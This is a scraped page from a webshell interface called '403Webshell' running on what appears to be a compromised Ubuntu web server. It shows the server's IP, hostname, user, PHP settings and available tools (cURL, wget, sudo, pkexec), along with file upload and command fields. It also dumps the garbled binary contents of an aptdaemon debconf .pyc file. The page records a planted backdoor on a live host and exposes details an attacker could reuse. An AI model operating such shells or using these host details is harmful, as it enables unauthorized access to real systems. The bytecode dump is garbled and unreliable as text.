403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.156
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/aptdaemon/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/aptdaemon/__pycache__/debconf.cpython-310.pyc
o

��S��@s�dZdZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZe�d�Z
Gdd�de�Zdd	�Zed
krDe�dSdS)z�
Integration of debconf on the client side

Provides the DebconfProxy class which allows to run the debconf frontend
as normal user by connecting to the root running debconf through the
socket of the passthrough frontend.
)�DebconfProxy�N)�GLibzAptClient.DebconfProxyc@sJeZdZdZddd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dS)rz�The DebconfProxy class allows to run the debconf frontend
    as normal user by connecting to the root debconf through the socket of the
    passthrough frontend.
    �gnomeNcCs�||_d|_|durtjdd�|_tj�|jd�|_t�d|j�t	�	t	j
t	j�|_	|j	�|j�||_
d|_d|_g|_dS)aInitialize a new DebconfProxy instance.

        Keyword arguments:
        frontend -- the to be used debconf frontend (defaults to gnome)
        socket_path -- the path to the socket of the passthrough frontend.
            Will be created if not specified
        Nz
aptdaemon-)�prefixzdebconf.socketzdebconf socket: %s)�socket_path�temp_dir�tempfile�mkdtemp�os�path�join�log�debug�socket�AF_UNIX�SOCK_STREAM�bind�frontend�_listener_id�_active_conn�
_watch_ids)�selfrr�r�3/usr/lib/python3/dist-packages/aptdaemon/debconf.py�__init__2s
zDebconfProxy.__init__cCs>t�tj�}d|d<d|d<|j|d<tjtjkrd|d<|S)zcReturns a dictonary of the environment variables required by
        the debconf frontend.
        �configdb�DEBCONF_DB_REPLACEzPipe{infd:none outfd:none}�DEBCONF_DB_OVERRIDE�DEBIAN_FRONTEND�.�
DEBCONF_DEBUG)�copyr
�environrr
�level�logging�DEBUG)r�envrrr�_get_debconf_envGs
zDebconfProxy._get_debconf_envcCs4t�d�|j�d�t�|jtjtj|j�|_	dS)zStart listening on the socket.zdebconf.start()�N)
r$rr�listenr�io_add_watch�PRIORITY_DEFAULT_IDLE�IO_IN�_accept_connectionr�rrrr�startSs

�zDebconfProxy.startcCsnt�d�|j��|jdurt�|j�d|_|jr5zt�	|j
�t�|j�WdSty4YdSwdS)zStop listening on the socket.zdebconf.stop()N)
r$rr�closerr�
source_removerr
�remover�rmdir�OSErrorr.rrr�stop[s


��zDebconfProxy.stopcCs�|jr
t�d�dS|��\}}||_tjtjBtjBtjB}t	j
dgt	jt	j|��d�|_
t�|tj||j|j
j�t�|j
jtj||j|�dS)NzDelaying connectionTzdebconf-communicate)�stdin�stdoutr&)rr
r�acceptrr,�IO_ERR�IO_HUP�IO_NVAL�
subprocess�Popen�PIPEr'�helperr*�PRIORITY_HIGH_IDLE�
_copy_connr6r7�_copy_stdout)rr�	condition�conn�addr�maskrrrr-is$
�
��zDebconfProxy._accept_connectionc
Cs�t�d�z|��}|rt�d|�|�|�WdSWntjtfy5}zt�|�WYd}~nd}~wwt�d�|jj	�
�|j�
�d|_dS)zaCallback to copy data from the stdout of debconf-communicate to
        the passthrough frontend.rBzFrom debconf: %sTNzStop reading from stdoutF)r$r�readliner
�sendr�error�IOErrorr?r7r0r)r�sourcerCrD�debconf_datarIrrrrBzs"

���

zDebconfProxy._copy_stdoutc
Cs�t�d�z|�d�}|rt�d|�|�|�|��WdSWntjtfy:}zt�|�WYd}~nd}~wwt�d�|j	j
��dS)z\Callback to copy data from the passthrough frontend to stdin of
        debconf-communicate.rAizFrom socket: %sTNzStop reading from connF)r$r�recvr
�write�flushrrIrJr?r6r0)rrKrCr6�socket_datarIrrrrA�s 


���
zDebconfProxy._copy_conn)rN)�__name__�
__module__�__qualname__�__doc__rr'r/r5r-rBrArrrrr+s
rcCsNtjtjd�d}tj�|�rt�|�td|�}|��t	�
�}|��dS)a4Run the DebconfProxy from the command line for testing purposes.

    You have to execute the following commands before in a separate terminal:
    $ echo "fset debconf/frontend seen false" | debconf-communicate
    $ export DEBCONF_PIPE=/tmp/debconf.socket
    $ dpkg-reconfigure debconf -f passthrough
    )r#z/tmp/debconf.socketrN)r$�basicConfigr%r
r�existsr2rr/r�MainLoop�run)r�proxy�looprrr�_test�s

r[�__main__)rT�__all__r!r$r
�os.pathrr<r�sys�
gi.repositoryr�	getLoggerr
�objectrr[rQrrrr�<module>s"
u
�

Youez - 2016 - github.com/yon3zu
LinuXploit